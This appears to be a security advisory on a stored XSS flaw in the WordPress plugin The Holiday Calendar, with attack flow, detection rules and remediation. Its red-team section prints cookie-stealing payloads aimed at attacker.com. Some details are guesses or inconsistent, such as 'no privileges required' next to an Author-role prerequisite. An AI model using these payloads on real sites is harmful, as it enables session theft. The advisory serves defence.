CVE-2025-29003

Executive Summary

CVE-2025-29003 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin The Holiday Calendar by mva7, in versions up to and including 1.18.2.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the browsers of other users. This is a classic WordPress plugin vulnerability, not related to Apache or Nginx.

The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network-based, low-complexity attacks requiring user interaction. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch makes this a significant supply chain risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. Users must rely on the plugin author (mva7) for a patch. Until a patched version is released, all sites using The Holiday Calendar <= 1.18.2.1 are at risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required – The victim must visit a page containing the malicious payload.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for widespread WordPress installations to be affected elevates the risk. Stored XSS can lead to session hijacking, defacement, and phishing attacks.

Deep Dive & Mechanics

The vulnerability exists in the the-holiday-calendar plugin, which likely provides a calendar widget or shortcode for displaying holidays. The plugin fails to sanitize or escape user input before storing it in the database and later rendering it on a web page.

Attack Flow:

1. An attacker identifies a form field or parameter (e.g., event name, description, or custom field) that is processed by the plugin.
2. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated JavaScript payload.
3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When an administrator or visitor loads a page that displays the calendar (e.g., via a shortcode or widget), the stored payload is rendered in the browser.
5. The malicious script executes in the context of the victim's session, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the user.

Root Cause: The plugin uses functions like echo $event_name or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress XSS fixes.

Vulnerable Code (PHP):

// In a template or shortcode handler
echo '<div class="holiday-event">' . $event_name . '</div>';

Patched Code (PHP):

// Properly escape output
echo '<div class="holiday-event">' . esc_html( $event_name ) . '</div>';

The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with The Holiday Calendar plugin version <= 1.18.2.1.
• A user role that can add or edit calendar events (e.g., Author, Editor, or Administrator).

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the Holiday Calendar settings or event creation page.
3. In a field that is not properly sanitized (e.g., "Event Name"), inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the event.
5. When an administrator or visitor views the calendar page, the script executes and exfiltrates cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection Steps:

1. Monitor WordPress admin logs for unusual event creation or modification.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Regularly scan the database for suspicious entries using:

   SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
   

4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install The Holiday Calendar plugin version 1.18.2.1.
• Create a test user with Author privileges.
• Attempt to inject XSS payloads and observe the behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to the calendar page.
• Host IOCs:
  • Database entries in wp_posts or wp_postmeta containing <script> tags or event handlers like onerror, onload.
  • Modified plugin files (though this is a stored XSS, not file inclusion).
• Log IOCs:
  • WordPress debug logs showing PHP warnings about unescaped output.
  • Web server access logs with requests to the calendar page containing encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_29003_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress The Holiday Calendar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29003"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in The Holiday Calendar Plugin
id: cve-2025-29003
status: experimental
description: Detects stored XSS attempts in WordPress The Holiday Calendar plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=holiday_calendar_save'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in event descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29003 Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Remove any suspicious calendar events from the database.
3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Use a WordPress security plugin (e.g., Wordfence) to monitor for malicious input.
• Apply the principle of least privilege to user roles.
• Regularly update all plugins and themes.

Patch Status: UNKNOWN / UNPATCHED. Monitor the WordPress plugin repository for updates from mva7.

Valters IT
DevSecOps & Cyber Threat Intelligence